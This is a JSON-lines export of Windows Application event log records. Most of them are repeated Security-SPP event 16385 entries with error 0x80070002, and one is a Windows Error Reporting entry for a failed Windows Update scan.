{"@timestamp":1646911229902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167706}}
{"@timestamp":1646911259917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167707}}
{"@timestamp":1646911289931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167708}}
{"@timestamp":1646911319943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167709}}
{"@timestamp":1646911349955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167710}}
{"@timestamp":1646911379969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167711}}
{"@timestamp":1646911409983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167712}}
{"@timestamp":1646911439996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167713}}
{"@timestamp":1646911470007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167714}}
{"@timestamp":1646911500019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167715}}
{"@timestamp":1646911530030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167716}}
{"@timestamp":1646911560043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167717}}
{"@timestamp":1646911590054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167718}}
{"@timestamp":1646911620067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167719}}
{"@timestamp":1646911650080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167720}}
{"@timestamp":1646911680093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167721}}
{"@timestamp":1646911710104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167722}}
{"@timestamp":1646911740120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167723}}
{"@timestamp":1646911770141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167724}}
{"@timestamp":1646911800231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167725}}
{"@timestamp":1646911830305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167726}}
{"@timestamp":1646911860367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167727}}
{"@timestamp":1646911890419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167728}}
{"@timestamp":1646911920463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167729}}
{"@timestamp":1646911950500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167730}}
{"@timestamp":1646911980532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167731}}
{"@timestamp":1646912010561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167732}}
{"@timestamp":1646912040586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167733}}
{"@timestamp":1646912070625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167734}}
{"@timestamp":1646912100654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167735}}
{"@timestamp":1646912130674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167736}}
{"@timestamp":1646912160693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167737}}
{"@timestamp":1646912190715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167738}}
{"@timestamp":1646912220731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167739}}
{"@timestamp":1646912250746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167740}}
{"@timestamp":1646912280760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167741}}
{"@timestamp":1646912310774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167742}}
{"@timestamp":1646912340788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167743}}
{"@timestamp":1646912370805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167744}}
{"@timestamp":1646912400826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167745}}
{"@timestamp":1646912430841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167746}}
{"@timestamp":1646912460854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167747}}
{"@timestamp":1646912490870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167748}}
{"@timestamp":1646912520885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167749}}
{"@timestamp":1646912550899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167750}}
{"@timestamp":1646912580917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167751}}
{"@timestamp":1646912593557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","8024401c","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","4405ed73-a067-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167752}}
{"@timestamp":1646912610930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167753}}
{"@timestamp":1646912640945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167754}}
{"@timestamp":1646912670958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167755}}
{"@timestamp":1646912700974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167756}}
{"@timestamp":1646912730990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167757}}
{"@timestamp":1646912761004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167758}}
{"@timestamp":1646912791017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167759}}
{"@timestamp":1646912821040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167760}}
{"@timestamp":1646912851063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167761}}
{"@timestamp":1646912881097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167762}}
{"@timestamp":1646912911171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167763}}
{"@timestamp":1646912941191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167764}}
{"@timestamp":1646912971212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167765}}
{"@timestamp":1646913001230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167766}}
{"@timestamp":1646913031248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167767}}
{"@timestamp":1646913061267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167768}}
{"@timestamp":1646913091285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167769}}
{"@timestamp":1646913121302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167770}}
{"@timestamp":1646913151319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167771}}
{"@timestamp":1646913181355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167772}}
{"@timestamp":1646913211371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167773}}
{"@timestamp":1646913241388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167774}}
{"@timestamp":1646913271405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167775}}
{"@timestamp":1646913301420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167776}}
{"@timestamp":1646913331447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167777}}
{"@timestamp":1646913361475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167778}}
{"@timestamp":1646913391500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167779}}
{"@timestamp":1646913421524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167780}}
{"@timestamp":1646913451548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167781}}
{"@timestamp":1646913481572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167782}}
{"@timestamp":1646913511592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167783}}
{"@timestamp":1646913541614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167784}}
{"@timestamp":1646913571633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167785}}
{"@timestamp":1646913601655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167786}}
{"@timestamp":1646913631673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167787}}
{"@timestamp":1646913661692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167788}}
{"@timestamp":1646913691711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167789}}
{"@timestamp":1646913721729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167790}}
{"@timestamp":1646913751746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167791}}
{"@timestamp":1646913781763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167792}}
{"@timestamp":1646913811780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167793}}
{"@timestamp":1646913841796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167794}}
{"@timestamp":1646913871813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167795}}
{"@timestamp":1646913901829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167796}}
{"@timestamp":1646913931858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167797}}
{"@timestamp":1646913961875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167798}}
{"@timestamp":1646913991892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167799}}
{"@timestamp":1646914021908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167800}}
{"@timestamp":1646914051924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167801}}
{"@timestamp":1646914081939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167802}}
{"@timestamp":1646914111955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167803}}
{"@timestamp":1646914141971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167804}}
{"@timestamp":1646914171986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167805}}
{"@timestamp":1646914202002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167806}}
{"@timestamp":1646914232018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167807}}
{"@timestamp":1646914262033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167808}}
{"@timestamp":1646914292049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167809}}
{"@timestamp":1646914322064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167810}}
{"@timestamp":1646914352076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167811}}
{"@timestamp":1646914382089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167812}}
{"@timestamp":1646914412102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167813}}
